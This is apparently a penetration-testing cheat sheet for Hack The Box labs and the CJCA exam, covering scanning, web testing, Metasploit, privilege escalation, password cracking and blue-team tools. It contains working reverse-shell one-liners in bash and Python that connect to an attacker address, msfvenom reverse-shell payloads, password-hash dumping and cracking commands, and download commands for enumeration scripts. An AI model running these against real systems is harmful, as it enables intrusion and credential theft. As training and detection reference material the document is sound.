Tools Reference

Quick reference for the tools you will use most. Not exhaustive - focused on what you actually need for HTB machines and the CJCA exam.

Quick Index

Reconnaissance and Scanning
Web Application Testing
Exploitation
Privilege Escalation
Password Cracking
Blue Team Tools
Wordlists
Useful One-Liners

Reconnaissance and Scanning

nmap

The network scanner. If you learn one tool, learn this one.

Flag	What It Does
`-sS`	SYN scan (stealth, default if root)
`-sT`	TCP connect scan (use when no root)
`-sV`	Service version detection
`-sC`	Default script scan (runs NSE default scripts)
`-O`	OS detection
`-p-`	Scan all 65535 ports
`-p 1-1000`	Scan specific port range
`--script=vuln`	Run vulnerability scripts
`--script-args`	Pass arguments to scripts
`-oN file`	Output to file in normal format
`-oG file`	Output to file in grepable format
`-T4`	Timing template (0=slow, 5=fast)
`-A`	Aggressive (equals -sV -sC -O --traceroute)
`-Pn`	Skip host discovery, scan anyway
`-n`	No DNS resolution (faster)

Common combos:

nmap -sV -sC -p- 10.10.10.5 - Full port scan with service detection and scripts
nmap -A -T4 10.10.10.5 - Aggressive scan at decent speed
nmap -sn 10.10.10.0/24 - Ping sweep, find live hosts
nmap --script smb-enum-shares -p 445 10.10.10.5 - Enumerate SMB shares

gobuster

Directory and subdomain brute-forcer.

gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt - Directory brute force
gobuster dir -u http://target -w wordlist.txt -x php,txt,html - With extensions
gobuster dns -d target.com -w subdomains.txt - Subdomain enumeration
gobuster vhost -u http://target -w vhosts.txt - Virtual host discovery

ffuf

Faster alternative to gobuster. More flexible.

ffuf -u http://target/FUZZ -w wordlist.txt - Directory fuzzing
ffuf -u http://target/FUZZ -w wordlist.txt -mc 200,301 - Filter by status codes
ffuf -u http://target -H "Host: FUZZ.target" -w vhosts.txt - Vhost fuzzing
ffuf -u http://target/page?param=FUZZ -w wordlist.txt - Parameter fuzzing

subfinder / amass

Subdomain enumeration from public sources (passive recon).

subfinder -d target.com - Quick subdomain scan
amass enum -d target.com - More thorough, slower

Web Application Testing

Burp Suite

Web proxy for intercepting, modifying, and fuzzing HTTP traffic.

Core features:

Proxy - Intercept requests between browser and server. Modify on the fly.
Repeater - Send a request, modify it, resend. Perfect for manual testing.
Intruder - Automated attacks (fuzzing, brute force, injection).
Decoder - Encode/decode base64, URL, HTML, hex.
Comparer - Compare two responses to spot differences.

Workflow:

Configure browser to use Burp as proxy (127.0.0.1:8080)
Browse the target site, let Burp capture traffic
Send interesting requests to Repeater
Modify parameters, headers, bodies to test for vulnerabilities
Use Intruder for automated fuzzing

sqlmap

SQL injection automation. Finds and exploits SQLi.

sqlmap -u "http://target/page?id=1" - Basic test
sqlmap -u "http://target/page?id=1" --dbs - Enumerate databases
sqlmap -u "http://target/page?id=1" --dump - Dump table contents
sqlmap -u "http://target/page?id=1" --os-shell - Get OS shell (if possible)
sqlmap -r request.txt - Use saved Burp request
sqlmap -u "..." --level=5 --risk=3 - More aggressive testing

WPScan

WordPress vulnerability scanner.

wpscan --url http://target --enumerate u - Enumerate users
wpscan --url http://target --enumerate p - Enumerate plugins
wpscan --url http://target --enumerate t - Enumerate themes
wpscan --url http://target --passwords wordlist.txt --usernames admin - Brute force

Exploitation

Metasploit Framework

The exploitation framework. Huge module library.

Core commands:

search type:exploit name:windows - Search for modules
use exploit/windows/smb/ms17_010_eternalblue - Select a module
info - Show module details
show options - Show configurable options
set RHOSTS 10.10.10.5 - Set remote host
set LHOST 10.10.14.1 - Set local host (your IP)
set PAYLOAD windows/x64/shell/reverse_tcp - Set payload
exploit or run - Execute
sessions -l - List active sessions
sessions -i 1 - Interact with session 1
background - Send current session to background

Post-exploitation:

use post/multi/recon/local_exploit_suggester - Suggest local exploits for privesc
use post/windows/gather/hashdump - Dump password hashes
use post/multi/manage/migrate - Migrate to a stable process

msfvenom (payload generation):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f exe -o shell.exe - Windows reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f elf -o shell.elf - Linux reverse shell
msfvenom -p php/reverse_php LHOST=10.10.14.1 LPORT=4444 -f raw -o shell.php - PHP web shell

searchsploit

Search Exploit-DB locally (offline database).

searchsploit eternalblue - Search by name
searchsploit -m 12345 - Copy exploit to current directory
searchsploit -x 12345 - Examine exploit code

Privilege Escalation

LinPEAS

Linux privilege escalation enumeration script. Run it first, read everything.

Transfer to target: wget http://your-ip/linpeas.sh or curl http://your-ip/linpeas.sh -o linpeas.sh
Run: chmod +x linpeas.sh && ./linpeas.sh
Read the output. Red/yellow entries are high-probability privesc paths.

WinPEAS

Windows equivalent of LinPEAS.

Transfer and run: winpeas.exe or winpeas.bat
Same color coding: red/yellow = high probability

Manual Linux Privesc Checklist

sudo -l - What can you run as root?
find / -perm -4000 -type f 2>/dev/null - SUID binaries (check GTFOBins)
find / -perm -2000 -type f 2>/dev/null - SGID binaries
cat /etc/crontab - Cron jobs running as root?
ps aux - What processes are running?
netstat -tulpn - What services are listening?
find / -writable -type d 2>/dev/null - Writable directories
env - Environment variables (secrets in there?)
Check GTFOBins (https://gtfobins.github.io) for every SUID binary found

Manual Windows Privesc Checklist

whoami /priv - What privileges do you have?
systeminfo - OS version, hotfixes (search for missing patches)
net user and net localgroup administrators - Users and groups
tasklist /SVC - Running processes and services
wmic service get name,displayname,pathname,startmode - Service paths (unquoted paths = privesc)
findstr /si "password" *.txt *.ini *.cfg - Search for passwords in config files
Check registry: reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall for installed software
Check PEAS (https://github.com/carlospolop/PEASS-ng) for the full checklist

Password Cracking

Hashcat

GPU-accelerated password cracking. Fast if you have a GPU.

hashcat -m 1000 hashes.txt wordlist.txt - NTLM hashes (mode 1000)
hashcat -m 0 hashes.txt wordlist.txt - MD5 hashes (mode 0)
hashcat -m 1800 hashes.txt wordlist.txt - SHA-512 crypt (mode 1800, Linux /etc/shadow)
hashcat -m 1000 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule - With rules (mutate wordlist)
hashcat -m 1000 hashes.txt wordlist.txt --show - Show cracked results

Common modes: 0=MD5, 100=SHA-1, 1400=SHA-256, 1000=NTLM, 1800=sha512crypt, 3200=bcrypt, 13100=Kerberoasting

John the Ripper

CPU-based password cracking. Good when no GPU available.

john hashes.txt --wordlist=wordlist.txt - Basic crack
john --format=nt hashes.txt - Specify hash format
john --show hashes.txt - Show cracked passwords
unshadow /etc/passwd /etc/shadow > combined.txt - Combine for Linux hash cracking
john combined.txt --wordlist=rockyou.txt - Crack Linux passwords

hash-identifier

Identify hash type when you do not know the format.

hashid '5f4dcc3b5aa765d61d8327deb882cf99' - Identify hash type

Blue Team Tools

Elastic Stack (ELK)

SIEM platform. Elasticsearch stores and searches logs, Logstash processes them, Kibana visualizes them, Beats ships logs from endpoints.

KQL (Kibana Query Language) basics:

event.code: 4624 - Filter by event ID
user.name: "admin" - Filter by username
event.code: 4624 AND user.name: "admin" - Combine with AND
event.code: (4624 OR 4625) - Multiple values
NOT event.code: 4688 - Exclude events
process.name: "powershell.exe" - Filter by process name
source.ip: "10.10.14.1" - Filter by source IP
event.code: 4688 AND process.name: "powershell.exe" - PowerShell process creations

Wireshark

Network traffic analysis. Capture and inspect packets.

Common filters:

ip.addr == 10.10.10.5 - Filter by IP
tcp.port == 443 - Filter by port
http - Show only HTTP traffic
http.request.method == "POST" - POST requests
dns - DNS queries
tcp.flags.syn == 1 - SYN packets (scan detection)
frame contains "password" - Search packet content
http.response.code == 200 - HTTP 200 responses
ip.src == 10.10.14.1 && ip.dst == 10.10.10.5 - Specific flow

Sysmon

Windows endpoint monitoring. Logs process creation, network connections, file changes, DLL loading, and more. Configured via XML policy file.

Essential Sysmon events:

Event ID 1 - Process creation (command line, parent process, hash)
Event ID 3 - Network connection (source/dest IP, port, process)
Event ID 7 - Image loaded (DLL loading - detect DLL hijacking)
Event ID 11 - File creation (detect malware dropping files)
Event ID 22 - DNS query (detect C2 lookups)

YARA

Malware pattern matching. Write rules to identify malware families.

rule suspicious_powershell_download {
    strings:
        $a = "System.Net.WebClient"
        $b = "DownloadString"
        $c = "Invoke-Expression"
        $d = "IEX"
    condition:
        3 of ($a, $b, $c, $d)
}

Sigma

Generic detection rules. Write once, convert to any SIEM format (Elastic, Splunk, Sentinel).

title: Suspicious PowerShell Download and Execute
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        Image: '*\\powershell.exe'
        CommandLine: '*DownloadString*'
    condition: selection
level: high

Wordlists

/usr/share/wordlists/rockyou.txt - 14M passwords, the classic (Kali default)
/usr/share/wordlists/dirb/common.txt - Common directory names
/usr/share/wordlists/dirb/big.txt - Larger directory list
/usr/share/wordlists/seclists/ - SecLists collection (install: apt install seclists)
CeWL - Generate custom wordlists from a target website: INLINECODE99

Useful One-Liners

Reverse Shells

Bash: bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'
Python: python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
PowerShell: INLINECODE102

File Transfer

Python HTTP server: python3 -m http.server 8080
wget from attacker: wget http://10.10.14.1:8080/file.sh
curl from attacker: curl http://10.10.14.1:8080/file.sh -o file.sh
SCP: scp file.sh user@10.10.14.1:/tmp/
Base64 encode/decode for restricted shells: base64 file.sh / INLINECODE108

Port Forwarding

SSH local: ssh -L 8080:localhost:80 user@target - Access target port 80 on your localhost:8080
SSH remote: ssh -R 4444:localhost:22 user@attacker - Expose your port 22 on attacker's port 4444

- chisel: chisel server -p 8080 --reverse (on attacker) / chisel client 10.10.14.1:8080 R:socks (on target)